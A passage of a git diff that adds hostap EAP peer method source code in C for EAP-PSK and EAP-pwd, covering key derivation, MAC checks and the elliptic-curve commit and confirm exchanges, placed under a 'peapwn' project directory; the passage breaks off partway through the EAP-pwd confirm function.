"eap_i.h" + + +struct eap_psk_data { + enum { PSK_INIT, PSK_MAC_SENT, PSK_DONE } state; + u8 rand_p[EAP_PSK_RAND_LEN]; + u8 rand_s[EAP_PSK_RAND_LEN]; + u8 ak[EAP_PSK_AK_LEN], kdk[EAP_PSK_KDK_LEN], tek[EAP_PSK_TEK_LEN]; + u8 *id_s, *id_p; + size_t id_s_len, id_p_len; + u8 msk[EAP_MSK_LEN]; + u8 emsk[EAP_EMSK_LEN]; +}; + + +static void * eap_psk_init(struct eap_sm *sm) +{ + struct eap_psk_data *data; + const u8 *identity, *password; + size_t identity_len, password_len; + + password = eap_get_config_password(sm, &password_len); + if (!password || password_len != 16) { + wpa_printf(MSG_INFO, "EAP-PSK: 16-octet pre-shared key not " + "configured"); + return NULL; + } + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + if (eap_psk_key_setup(password, data->ak, data->kdk)) { + os_free(data); + return NULL; + } + wpa_hexdump_key(MSG_DEBUG, "EAP-PSK: AK", data->ak, EAP_PSK_AK_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-PSK: KDK", data->kdk, EAP_PSK_KDK_LEN); + data->state = PSK_INIT; + + identity = eap_get_config_identity(sm, &identity_len); + if (identity) { + data->id_p = os_malloc(identity_len); + if (data->id_p) + os_memcpy(data->id_p, identity, identity_len); + data->id_p_len = identity_len; + } + if (data->id_p == NULL) { + wpa_printf(MSG_INFO, "EAP-PSK: could not get own identity"); + os_free(data); + return NULL; + } + + return data; +} + + +static void eap_psk_deinit(struct eap_sm *sm, void *priv) +{ + struct eap_psk_data *data = priv; + os_free(data->id_s); + os_free(data->id_p); + os_free(data); +} + + +static struct wpabuf * eap_psk_process_1(struct eap_psk_data *data, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + const struct eap_psk_hdr_1 *hdr1; + struct eap_psk_hdr_2 *hdr2; + struct wpabuf *resp; + u8 *buf, *pos; + size_t buflen, len; + const u8 *cpos; + + wpa_printf(MSG_DEBUG, "EAP-PSK: in INIT state"); + + cpos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_PSK, reqData, &len); + hdr1 = (const struct eap_psk_hdr_1 *) cpos; + if (cpos == NULL || len < sizeof(*hdr1)) { + wpa_printf(MSG_INFO, "EAP-PSK: Invalid first message " + "length (%lu; expected %lu or more)", + (unsigned long) len, + (unsigned long) sizeof(*hdr1)); + ret->ignore = TRUE; + return NULL; + } + wpa_printf(MSG_DEBUG, "EAP-PSK: Flags=0x%x", hdr1->flags); + if (EAP_PSK_FLAGS_GET_T(hdr1->flags) != 0) { + wpa_printf(MSG_INFO, "EAP-PSK: Unexpected T=%d (expected 0)", + EAP_PSK_FLAGS_GET_T(hdr1->flags)); + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + return NULL; + } + wpa_hexdump(MSG_DEBUG, "EAP-PSK: RAND_S", hdr1->rand_s, + EAP_PSK_RAND_LEN); + os_memcpy(data->rand_s, hdr1->rand_s, EAP_PSK_RAND_LEN); + os_free(data->id_s); + data->id_s_len = len - sizeof(*hdr1); + data->id_s = os_malloc(data->id_s_len); + if (data->id_s == NULL) { + wpa_printf(MSG_ERROR, "EAP-PSK: Failed to allocate memory for " + "ID_S (len=%lu)", (unsigned long) data->id_s_len); + ret->ignore = TRUE; + return NULL; + } + os_memcpy(data->id_s, (u8 *) (hdr1 + 1), data->id_s_len); + wpa_hexdump_ascii(MSG_DEBUG, "EAP-PSK: ID_S", + data->id_s, data->id_s_len); + + if (random_get_bytes(data->rand_p, EAP_PSK_RAND_LEN)) { + wpa_printf(MSG_ERROR, "EAP-PSK: Failed to get random data"); + ret->ignore = TRUE; + return NULL; + } + + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_PSK, + sizeof(*hdr2) + data->id_p_len, EAP_CODE_RESPONSE, + eap_get_id(reqData)); + if (resp == NULL) + return NULL; + hdr2 = wpabuf_put(resp, sizeof(*hdr2)); + hdr2->flags = EAP_PSK_FLAGS_SET_T(1); /* T=1 */ + os_memcpy(hdr2->rand_s, hdr1->rand_s, EAP_PSK_RAND_LEN); + os_memcpy(hdr2->rand_p, data->rand_p, EAP_PSK_RAND_LEN); + wpabuf_put_data(resp, data->id_p, data->id_p_len); + /* MAC_P = OMAC1-AES-128(AK, ID_P||ID_S||RAND_S||RAND_P) */ + buflen = data->id_p_len + data->id_s_len + 2 * EAP_PSK_RAND_LEN; + buf = os_malloc(buflen); + if (buf == NULL) { + wpabuf_free(resp); + return NULL; + } + os_memcpy(buf, data->id_p, data->id_p_len); + pos = buf + data->id_p_len; + os_memcpy(pos, data->id_s, data->id_s_len); + pos += data->id_s_len; + os_memcpy(pos, hdr1->rand_s, EAP_PSK_RAND_LEN); + pos += EAP_PSK_RAND_LEN; + os_memcpy(pos, data->rand_p, EAP_PSK_RAND_LEN); + if (omac1_aes_128(data->ak, buf, buflen, hdr2->mac_p)) { + os_free(buf); + wpabuf_free(resp); + return NULL; + } + os_free(buf); + wpa_hexdump(MSG_DEBUG, "EAP-PSK: RAND_P", hdr2->rand_p, + EAP_PSK_RAND_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-PSK: MAC_P", hdr2->mac_p, EAP_PSK_MAC_LEN); + wpa_hexdump_ascii(MSG_DEBUG, "EAP-PSK: ID_P", + data->id_p, data->id_p_len); + + data->state = PSK_MAC_SENT; + + return resp; +} + + +static struct wpabuf * eap_psk_process_3(struct eap_psk_data *data, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + const struct eap_psk_hdr_3 *hdr3; + struct eap_psk_hdr_4 *hdr4; + struct wpabuf *resp; + u8 *buf, *rpchannel, nonce[16], *decrypted; + const u8 *pchannel, *tag, *msg; + u8 mac[EAP_PSK_MAC_LEN]; + size_t buflen, left, data_len, len, plen; + int failed = 0; + const u8 *pos; + + wpa_printf(MSG_DEBUG, "EAP-PSK: in MAC_SENT state"); + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_PSK, + reqData, &len); + hdr3 = (const struct eap_psk_hdr_3 *) pos; + if (pos == NULL || len < sizeof(*hdr3)) { + wpa_printf(MSG_INFO, "EAP-PSK: Invalid third message " + "length (%lu; expected %lu or more)", + (unsigned long) len, + (unsigned long) sizeof(*hdr3)); + ret->ignore = TRUE; + return NULL; + } + left = len - sizeof(*hdr3); + pchannel = (const u8 *) (hdr3 + 1); + wpa_printf(MSG_DEBUG, "EAP-PSK: Flags=0x%x", hdr3->flags); + if (EAP_PSK_FLAGS_GET_T(hdr3->flags) != 2) { + wpa_printf(MSG_INFO, "EAP-PSK: Unexpected T=%d (expected 2)", + EAP_PSK_FLAGS_GET_T(hdr3->flags)); + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + return NULL; + } + wpa_hexdump(MSG_DEBUG, "EAP-PSK: RAND_S", hdr3->rand_s, + EAP_PSK_RAND_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-PSK: MAC_S", hdr3->mac_s, EAP_PSK_MAC_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-PSK: PCHANNEL", pchannel, left); + + if (left < 4 + 16 + 1) { + wpa_printf(MSG_INFO, "EAP-PSK: Too short PCHANNEL data in " + "third message (len=%lu, expected 21)", + (unsigned long) left); + ret->ignore = TRUE; + return NULL; + } + + /* MAC_S = OMAC1-AES-128(AK, ID_S||RAND_P) */ + buflen = data->id_s_len + EAP_PSK_RAND_LEN; + buf = os_malloc(buflen); + if (buf == NULL) + return NULL; + os_memcpy(buf, data->id_s, data->id_s_len); + os_memcpy(buf + data->id_s_len, data->rand_p, EAP_PSK_RAND_LEN); + if (omac1_aes_128(data->ak, buf, buflen, mac)) { + os_free(buf); + return NULL; + } + os_free(buf); + if (os_memcmp(mac, hdr3->mac_s, EAP_PSK_MAC_LEN) != 0) { + wpa_printf(MSG_WARNING, "EAP-PSK: Invalid MAC_S in third " + "message"); + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + return NULL; + } + wpa_printf(MSG_DEBUG, "EAP-PSK: MAC_S verified successfully"); + + if (eap_psk_derive_keys(data->kdk, data->rand_p, data->tek, + data->msk, data->emsk)) { + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + return NULL; + } + wpa_hexdump_key(MSG_DEBUG, "EAP-PSK: TEK", data->tek, EAP_PSK_TEK_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-PSK: MSK", data->msk, EAP_MSK_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-PSK: EMSK", data->emsk, EAP_EMSK_LEN); + + os_memset(nonce, 0, 12); + os_memcpy(nonce + 12, pchannel, 4); + pchannel += 4; + left -= 4; + + tag = pchannel; + pchannel += 16; + left -= 16; + + msg = pchannel; + + wpa_hexdump(MSG_MSGDUMP, "EAP-PSK: PCHANNEL - nonce", + nonce, sizeof(nonce)); + wpa_hexdump(MSG_MSGDUMP, "EAP-PSK: PCHANNEL - hdr", + wpabuf_head(reqData), 5); + wpa_hexdump(MSG_MSGDUMP, "EAP-PSK: PCHANNEL - cipher msg", msg, left); + + decrypted = os_malloc(left); + if (decrypted == NULL) { + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + return NULL; + } + os_memcpy(decrypted, msg, left); + + if (aes_128_eax_decrypt(data->tek, nonce, sizeof(nonce), + wpabuf_head(reqData), + sizeof(struct eap_hdr) + 1 + + sizeof(*hdr3) - EAP_PSK_MAC_LEN, decrypted, + left, tag)) { + wpa_printf(MSG_WARNING, "EAP-PSK: PCHANNEL decryption failed"); + os_free(decrypted); + return NULL; + } + wpa_hexdump(MSG_DEBUG, "EAP-PSK: Decrypted PCHANNEL message", + decrypted, left); + + /* Verify R flag */ + switch (decrypted[0] >> 6) { + case EAP_PSK_R_FLAG_CONT: + wpa_printf(MSG_DEBUG, "EAP-PSK: R flag - CONT - unsupported"); + failed = 1; + break; + case EAP_PSK_R_FLAG_DONE_SUCCESS: + wpa_printf(MSG_DEBUG, "EAP-PSK: R flag - DONE_SUCCESS"); + break; + case EAP_PSK_R_FLAG_DONE_FAILURE: + wpa_printf(MSG_DEBUG, "EAP-PSK: R flag - DONE_FAILURE"); + wpa_printf(MSG_INFO, "EAP-PSK: Authentication server rejected " + "authentication"); + failed = 1; + break; + } + + data_len = 1; + if ((decrypted[0] & EAP_PSK_E_FLAG) && left > 1) + data_len++; + plen = sizeof(*hdr4) + 4 + 16 + data_len; + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_PSK, plen, + EAP_CODE_RESPONSE, eap_get_id(reqData)); + if (resp == NULL) { + os_free(decrypted); + return NULL; + } + hdr4 = wpabuf_put(resp, sizeof(*hdr4)); + hdr4->flags = EAP_PSK_FLAGS_SET_T(3); /* T=3 */ + os_memcpy(hdr4->rand_s, hdr3->rand_s, EAP_PSK_RAND_LEN); + rpchannel = wpabuf_put(resp, 4 + 16 + data_len); + + /* nonce++ */ + inc_byte_array(nonce, sizeof(nonce)); + os_memcpy(rpchannel, nonce + 12, 4); + + if (decrypted[0] & EAP_PSK_E_FLAG) { + wpa_printf(MSG_DEBUG, "EAP-PSK: Unsupported E (Ext) flag"); + failed = 1; + rpchannel[4 + 16] = (EAP_PSK_R_FLAG_DONE_FAILURE << 6) | + EAP_PSK_E_FLAG; + if (left > 1) { + /* Add empty EXT_Payload with same EXT_Type */ + rpchannel[4 + 16 + 1] = decrypted[1]; + } + } else if (failed) + rpchannel[4 + 16] = EAP_PSK_R_FLAG_DONE_FAILURE << 6; + else + rpchannel[4 + 16] = EAP_PSK_R_FLAG_DONE_SUCCESS << 6; + + wpa_hexdump(MSG_DEBUG, "EAP-PSK: reply message (plaintext)", + rpchannel + 4 + 16, data_len); + if (aes_128_eax_encrypt(data->tek, nonce, sizeof(nonce), + wpabuf_head(resp), + sizeof(struct eap_hdr) + 1 + sizeof(*hdr4), + rpchannel + 4 + 16, data_len, rpchannel + 4)) { + os_free(decrypted); + wpabuf_free(resp); + return NULL; + } + wpa_hexdump(MSG_DEBUG, "EAP-PSK: reply message (PCHANNEL)", + rpchannel, 4 + 16 + data_len); + + wpa_printf(MSG_DEBUG, "EAP-PSK: Completed %ssuccessfully", + failed ? "un" : ""); + data->state = PSK_DONE; + ret->methodState = METHOD_DONE; + ret->decision = failed ? DECISION_FAIL : DECISION_UNCOND_SUCC; + + os_free(decrypted); + + return resp; +} + + +static struct wpabuf * eap_psk_process(struct eap_sm *sm, void *priv, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + struct eap_psk_data *data = priv; + const u8 *pos; + struct wpabuf *resp = NULL; + size_t len; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_PSK, reqData, &len); + if (pos == NULL) { + ret->ignore = TRUE; + return NULL; + } + + ret->ignore = FALSE; + ret->methodState = METHOD_MAY_CONT; + ret->decision = DECISION_FAIL; + ret->allowNotifications = TRUE; + + switch (data->state) { + case PSK_INIT: + resp = eap_psk_process_1(data, ret, reqData); + break; + case PSK_MAC_SENT: + resp = eap_psk_process_3(data, ret, reqData); + break; + case PSK_DONE: + wpa_printf(MSG_DEBUG, "EAP-PSK: in DONE state - ignore " + "unexpected message"); + ret->ignore = TRUE; + return NULL; + } + + if (ret->methodState == METHOD_DONE) { + ret->allowNotifications = FALSE; + } + + return resp; +} + + +static Boolean eap_psk_isKeyAvailable(struct eap_sm *sm, void *priv) +{ + struct eap_psk_data *data = priv; + return data->state == PSK_DONE; +} + + +static u8 * eap_psk_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_psk_data *data = priv; + u8 *key; + + if (data->state != PSK_DONE) + return NULL; + + key = os_malloc(EAP_MSK_LEN); + if (key == NULL) + return NULL; + + *len = EAP_MSK_LEN; + os_memcpy(key, data->msk, EAP_MSK_LEN); + + return key; +} + + +static u8 * eap_psk_get_session_id(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_psk_data *data = priv; + u8 *id; + + if (data->state != PSK_DONE) + return NULL; + + *len = 1 + 2 * EAP_PSK_RAND_LEN; + id = os_malloc(*len); + if (id == NULL) + return NULL; + + id[0] = EAP_TYPE_PSK; + os_memcpy(id + 1, data->rand_p, EAP_PSK_RAND_LEN); + os_memcpy(id + 1 + EAP_PSK_RAND_LEN, data->rand_s, EAP_PSK_RAND_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-PSK: Derived Session-Id", id, *len); + + return id; +} + + +static u8 * eap_psk_get_emsk(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_psk_data *data = priv; + u8 *key; + + if (data->state != PSK_DONE) + return NULL; + + key = os_malloc(EAP_EMSK_LEN); + if (key == NULL) + return NULL; + + *len = EAP_EMSK_LEN; + os_memcpy(key, data->emsk, EAP_EMSK_LEN); + + return key; +} + + +int eap_peer_psk_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_peer_method_alloc(EAP_PEER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_PSK, "PSK"); + if (eap == NULL) + return -1; + + eap->init = eap_psk_init; + eap->deinit = eap_psk_deinit; + eap->process = eap_psk_process; + eap->isKeyAvailable = eap_psk_isKeyAvailable; + eap->getKey = eap_psk_getKey; + eap->getSessionId = eap_psk_get_session_id; + eap->get_emsk = eap_psk_get_emsk; + + ret = eap_peer_method_register(eap); + if (ret) + eap_peer_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_peer/eap_pwd.c b/peapwn/mods/hostap/src/eap_peer/eap_pwd.c new file mode 100644 index 000000000..267d0a5c6 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_pwd.c @@ -0,0 +1,922 @@ +/* + * EAP peer method: EAP-pwd (RFC 5931) + * Copyright (c) 2010, Dan Harkins + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/sha256.h" +#include "eap_peer/eap_i.h" +#include "eap_common/eap_pwd_common.h" + + +struct eap_pwd_data { + enum { + PWD_ID_Req, PWD_Commit_Req, PWD_Confirm_Req, SUCCESS, FAILURE + } state; + u8 *id_peer; + size_t id_peer_len; + u8 *id_server; + size_t id_server_len; + u8 *password; + size_t password_len; + u16 group_num; + EAP_PWD_group *grp; + + struct wpabuf *inbuf; + size_t in_frag_pos; + struct wpabuf *outbuf; + size_t out_frag_pos; + size_t mtu; + + BIGNUM *k; + BIGNUM *private_value; + BIGNUM *server_scalar; + BIGNUM *my_scalar; + EC_POINT *my_element; + EC_POINT *server_element; + + u8 msk[EAP_MSK_LEN]; + u8 emsk[EAP_EMSK_LEN]; + + BN_CTX *bnctx; +}; + + +#ifndef CONFIG_NO_STDOUT_DEBUG +static const char * eap_pwd_state_txt(int state) +{ + switch (state) { + case PWD_ID_Req: + return "PWD-ID-Req"; + case PWD_Commit_Req: + return "PWD-Commit-Req"; + case PWD_Confirm_Req: + return "PWD-Confirm-Req"; + case SUCCESS: + return "SUCCESS"; + case FAILURE: + return "FAILURE"; + default: + return "PWD-UNK"; + } +} +#endif /* CONFIG_NO_STDOUT_DEBUG */ + + +static void eap_pwd_state(struct eap_pwd_data *data, int state) +{ + wpa_printf(MSG_DEBUG, "EAP-PWD: %s -> %s", + eap_pwd_state_txt(data->state), eap_pwd_state_txt(state)); + data->state = state; +} + + +static void * eap_pwd_init(struct eap_sm *sm) +{ + struct eap_pwd_data *data; + const u8 *identity, *password; + size_t identity_len, password_len; + + password = eap_get_config_password(sm, &password_len); + if (password == NULL) { + wpa_printf(MSG_INFO, "EAP-PWD: No password configured!"); + return NULL; + } + + identity = eap_get_config_identity(sm, &identity_len); + if (identity == NULL) { + wpa_printf(MSG_INFO, "EAP-PWD: No identity configured!"); + return NULL; + } + + if ((data = os_zalloc(sizeof(*data))) == NULL) { + wpa_printf(MSG_INFO, "EAP-PWD: memory allocation data fail"); + return NULL; + } + + if ((data->bnctx = BN_CTX_new()) == NULL) { + wpa_printf(MSG_INFO, "EAP-PWD: bn context allocation fail"); + os_free(data); + return NULL; + } + + if ((data->id_peer = os_malloc(identity_len)) == NULL) { + wpa_printf(MSG_INFO, "EAP-PWD: memory allocation id fail"); + BN_CTX_free(data->bnctx); + os_free(data); + return NULL; + } + + os_memcpy(data->id_peer, identity, identity_len); + data->id_peer_len = identity_len; + + if ((data->password = os_malloc(password_len)) == NULL) { + wpa_printf(MSG_INFO, "EAP-PWD: memory allocation psk fail"); + BN_CTX_free(data->bnctx); + os_free(data->id_peer); + os_free(data); + return NULL; + } + os_memcpy(data->password, password, password_len); + data->password_len = password_len; + + data->out_frag_pos = data->in_frag_pos = 0; + data->inbuf = data->outbuf = NULL; + data->mtu = 1020; /* default from RFC 5931, make it configurable! */ + + data->state = PWD_ID_Req; + + return data; +} + + +static void eap_pwd_deinit(struct eap_sm *sm, void *priv) +{ + struct eap_pwd_data *data = priv; + + BN_free(data->private_value); + BN_free(data->server_scalar); + BN_free(data->my_scalar); + BN_free(data->k); + BN_CTX_free(data->bnctx); + EC_POINT_free(data->my_element); + EC_POINT_free(data->server_element); + os_free(data->id_peer); + os_free(data->id_server); + os_free(data->password); + if (data->grp) { + EC_GROUP_free(data->grp->group); + EC_POINT_free(data->grp->pwe); + BN_free(data->grp->order); + BN_free(data->grp->prime); + os_free(data->grp); + } + os_free(data); +} + + +static u8 * eap_pwd_getkey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_pwd_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_MSK_LEN); + if (key == NULL) + return NULL; + + os_memcpy(key, data->msk, EAP_MSK_LEN); + *len = EAP_MSK_LEN; + + return key; +} + + +static void +eap_pwd_perform_id_exchange(struct eap_sm *sm, struct eap_pwd_data *data, + struct eap_method_ret *ret, + const struct wpabuf *reqData, + const u8 *payload, size_t payload_len) +{ + struct eap_pwd_id *id; + + if (data->state != PWD_ID_Req) { + ret->ignore = TRUE; + eap_pwd_state(data, FAILURE); + return; + } + + if (payload_len < sizeof(struct eap_pwd_id)) { + ret->ignore = TRUE; + eap_pwd_state(data, FAILURE); + return; + } + + id = (struct eap_pwd_id *) payload; + data->group_num = be_to_host16(id->group_num); + if ((id->random_function != EAP_PWD_DEFAULT_RAND_FUNC) || + (id->prf != EAP_PWD_DEFAULT_PRF)) { + ret->ignore = TRUE; + eap_pwd_state(data, FAILURE); + return; + } + + wpa_printf(MSG_DEBUG, "EAP-PWD (peer): using group %d", + data->group_num); + + data->id_server = os_malloc(payload_len - sizeof(struct eap_pwd_id)); + if (data->id_server == NULL) { + wpa_printf(MSG_INFO, "EAP-PWD: memory allocation id fail"); + eap_pwd_state(data, FAILURE); + return; + } + data->id_server_len = payload_len - sizeof(struct eap_pwd_id); + os_memcpy(data->id_server, id->identity, data->id_server_len); + wpa_hexdump_ascii(MSG_INFO, "EAP-PWD (peer): server sent id of", + data->id_server, data->id_server_len); + + if ((data->grp = (EAP_PWD_group *) os_malloc(sizeof(EAP_PWD_group))) == + NULL) { + wpa_printf(MSG_INFO, "EAP-PWD: failed to allocate memory for " + "group"); + eap_pwd_state(data, FAILURE); + return; + } + + /* compute PWE */ + if (compute_password_element(data->grp, data->group_num, + data->password, data->password_len, + data->id_server, data->id_server_len, + data->id_peer, data->id_peer_len, + id->token)) { + wpa_printf(MSG_INFO, "EAP-PWD (peer): unable to compute PWE"); + eap_pwd_state(data, FAILURE); + return; + } + + wpa_printf(MSG_DEBUG, "EAP-PWD (peer): computed %d bit PWE...", + BN_num_bits(data->grp->prime)); + + data->outbuf = wpabuf_alloc(sizeof(struct eap_pwd_id) + + data->id_peer_len); + if (data->outbuf == NULL) { + eap_pwd_state(data, FAILURE); + return; + } + wpabuf_put_be16(data->outbuf, data->group_num); + wpabuf_put_u8(data->outbuf, EAP_PWD_DEFAULT_RAND_FUNC); + wpabuf_put_u8(data->outbuf, EAP_PWD_DEFAULT_PRF); + wpabuf_put_data(data->outbuf, id->token, sizeof(id->token)); + wpabuf_put_u8(data->outbuf, EAP_PWD_PREP_NONE); + wpabuf_put_data(data->outbuf, data->id_peer, data->id_peer_len); + + eap_pwd_state(data, PWD_Commit_Req); +} + + +static void +eap_pwd_perform_commit_exchange(struct eap_sm *sm, struct eap_pwd_data *data, + struct eap_method_ret *ret, + const struct wpabuf *reqData, + const u8 *payload, size_t payload_len) +{ + EC_POINT *K = NULL, *point = NULL; + BIGNUM *mask = NULL, *x = NULL, *y = NULL, *cofactor = NULL; + u16 offset; + u8 *ptr, *scalar = NULL, *element = NULL; + + if (((data->private_value = BN_new()) == NULL) || + ((data->my_element = EC_POINT_new(data->grp->group)) == NULL) || + ((cofactor = BN_new()) == NULL) || + ((data->my_scalar = BN_new()) == NULL) || + ((mask = BN_new()) == NULL)) { + wpa_printf(MSG_INFO, "EAP-PWD (peer): scalar allocation fail"); + goto fin; + } + + if (!EC_GROUP_get_cofactor(data->grp->group, cofactor, NULL)) { + wpa_printf(MSG_INFO, "EAP-pwd (peer): unable to get cofactor " + "for curve"); + goto fin; + } + + BN_rand_range(data->private_value, data->grp->order); + BN_rand_range(mask, data->grp->order); + BN_add(data->my_scalar, data->private_value, mask); + BN_mod(data->my_scalar, data->my_scalar, data->grp->order, + data->bnctx); + + if (!EC_POINT_mul(data->grp->group, data->my_element, NULL, + data->grp->pwe, mask, data->bnctx)) { + wpa_printf(MSG_INFO, "EAP-PWD (peer): element allocation " + "fail"); + eap_pwd_state(data, FAILURE); + goto fin; + } + + if (!EC_POINT_invert(data->grp->group, data->my_element, data->bnctx)) + { + wpa_printf(MSG_INFO, "EAP-PWD (peer): element inversion fail"); + goto fin; + } + BN_free(mask); + + if (((x = BN_new()) == NULL) || + ((y = BN_new()) == NULL)) { + wpa_printf(MSG_INFO, "EAP-PWD (peer): point allocation fail"); + goto fin; + } + + /* process the request */ + if (((data->server_scalar = BN_new()) == NULL) || + ((data->k = BN_new()) == NULL) || + ((K = EC_POINT_new(data->grp->group)) == NULL) || + ((point = EC_POINT_new(data->grp->group)) == NULL) || + ((data->server_element = EC_POINT_new(data->grp->group)) == NULL)) + { + wpa_printf(MSG_INFO, "EAP-PWD (peer): peer data allocation " + "fail"); + goto fin; + } + + /* element, x then y, followed by scalar */ + ptr = (u8 *) payload; + BN_bin2bn(ptr, BN_num_bytes(data->grp->prime), x); + ptr += BN_num_bytes(data->grp->prime); + BN_bin2bn(ptr, BN_num_bytes(data->grp->prime), y); + ptr += BN_num_bytes(data->grp->prime); + BN_bin2bn(ptr, BN_num_bytes(data->grp->order), data->server_scalar); + if (!EC_POINT_set_affine_coordinates_GFp(data->grp->group, + data->server_element, x, y, + data->bnctx)) { + wpa_printf(MSG_INFO, "EAP-PWD (peer): setting peer element " + "fail"); + goto fin; + } + + /* check to ensure server's element is not in a small sub-group */ + if (BN_cmp(cofactor, BN_value_one())) { + if (!EC_POINT_mul(data->grp->group, point, NULL, + data->server_element, cofactor, NULL)) { + wpa_printf(MSG_INFO, "EAP-PWD (peer): cannot multiply " + "server element by order!\n"); + goto fin; + } + if (EC_POINT_is_at_infinity(data->grp->group, point)) { + wpa_printf(MSG_INFO, "EAP-PWD (peer): server element " + "is at infinity!\n"); + goto fin; + } + } + + /* compute the shared key, k */ + if ((!EC_POINT_mul(data->grp->group, K, NULL, data->grp->pwe, + data->server_scalar, data->bnctx)) || + (!EC_POINT_add(data->grp->group, K, K, data->server_element, + data->bnctx)) || + (!EC_POINT_mul(data->grp->group, K, NULL, K, data->private_value, + data->bnctx))) { + wpa_printf(MSG_INFO, "EAP-PWD (peer): computing shared key " + "fail"); + goto fin; + } + + /* ensure that the shared key isn't in a small sub-group */ + if (BN_cmp(cofactor, BN_value_one())) { + if (!EC_POINT_mul(data->grp->group, K, NULL, K, cofactor, + NULL)) { + wpa_printf(MSG_INFO, "EAP-PWD (peer): cannot multiply " + "shared key point by order"); + goto fin; + } + } + + /* + * This check is strictly speaking just for the case above where + * co-factor > 1 but it was suggested that even though this is probably + * never going to happen it is a simple and safe check "just to be + * sure" so let's be safe. + */ + if (EC_POINT_is_at_infinity(data->grp->group, K)) { + wpa_printf(MSG_INFO, "EAP-PWD (peer): shared key point is at " + "infinity!\n"); + goto fin; + } + + if (!EC_POINT_get_affine_coordinates_GFp(data->grp->group, K, data->k, + NULL, data->bnctx)) { + wpa_printf(MSG_INFO, "EAP-PWD (peer): unable to extract " + "shared secret from point"); + goto fin; + } + + /* now do the response */ + if (!EC_POINT_get_affine_coordinates_GFp(data->grp->group, + data->my_element, x, y, + data->bnctx)) { + wpa_printf(MSG_INFO, "EAP-PWD (peer): point assignment fail"); + goto fin; + } + + if (((scalar = os_malloc(BN_num_bytes(data->grp->order))) == NULL) || + ((element = os_malloc(BN_num_bytes(data->grp->prime) * 2)) == + NULL)) { + wpa_printf(MSG_INFO, "EAP-PWD (peer): data allocation fail"); + goto fin; + } + + /* + * bignums occupy as little memory as possible so one that is + * sufficiently smaller than the prime or order might need pre-pending + * with zeros. + */ + os_memset(scalar, 0, BN_num_bytes(data->grp->order)); + os_memset(element, 0, BN_num_bytes(data->grp->prime) * 2); + offset = BN_num_bytes(data->grp->order) - + BN_num_bytes(data->my_scalar); + BN_bn2bin(data->my_scalar, scalar + offset); + + offset = BN_num_bytes(data->grp->prime) - BN_num_bytes(x); + BN_bn2bin(x, element + offset); + offset = BN_num_bytes(data->grp->prime) - BN_num_bytes(y); + BN_bn2bin(y, element + BN_num_bytes(data->grp->prime) + offset); + + data->outbuf = wpabuf_alloc(BN_num_bytes(data->grp->order) + + 2 * BN_num_bytes(data->grp->prime)); + if (data->outbuf == NULL) + goto fin; + + /* we send the element as (x,y) follwed by the scalar */ + wpabuf_put_data(data->outbuf, element, + 2 * BN_num_bytes(data->grp->prime)); + wpabuf_put_data(data->outbuf, scalar, BN_num_bytes(data->grp->order)); + +fin: + os_free(scalar); + os_free(element); + BN_free(x); + BN_free(y); + BN_free(cofactor); + EC_POINT_free(K); + EC_POINT_free(point); + if (data->outbuf == NULL) + eap_pwd_state(data, FAILURE); + else + eap_pwd_state(data, PWD_Confirm_Req); +} + + +static void +eap_pwd_perform_confirm_exchange(struct eap_sm *sm, struct eap_pwd_data *data, + struct eap_method_ret *ret, + const struct wpabuf *reqData, + const u8 *payload, size_t payload_len) +{ + BIGNUM *x = NULL, *y = NULL; + struct crypto_hash *hash; + u32 cs; + u16 grp; + u8 conf[SHA256_MAC_LEN], *cruft = NULL, *ptr; + int offset; + + /* + * first build up the ciphersuite which is group | random_function | + * prf + */ + grp = htons(data->group_num); + ptr = (u8 *) &cs; + os_memcpy(ptr, &grp, sizeof(u16)); + ptr += sizeof(u16); + *ptr = EAP_PWD_DEFAULT_RAND_FUNC; + ptr += sizeof(u8); + *ptr = EAP_PWD_DEFAULT_PRF; + + /* each component of the cruft will be at most as big as the prime */ + if (((cruft = os_malloc(BN_num_bytes(data->grp->prime))) == NULL) || + ((x = BN_new()) == NULL) || ((y = BN_new()) == NULL)) { + wpa_printf(MSG_INFO, "EAP-PWD (server): confirm allocation " + "fail"); + goto fin; + } + + /* + * server's commit is H(k | server_element | server_scalar | + * peer_element | peer_scalar | ciphersuite) + */ + hash = eap_pwd_h_init(); + if (hash == NULL) + goto fin; + + /* + * zero the memory each time because this is mod prime math and some + * value may start with a few zeros and the previous one did not. + */ + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->prime) - BN_num_bytes(data->k); + BN_bn2bin(data->k, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->prime)); + + /* server element: x, y */ + if (!EC_POINT_get_affine_coordinates_GFp(data->grp->group, + data->server_element, x, y, + 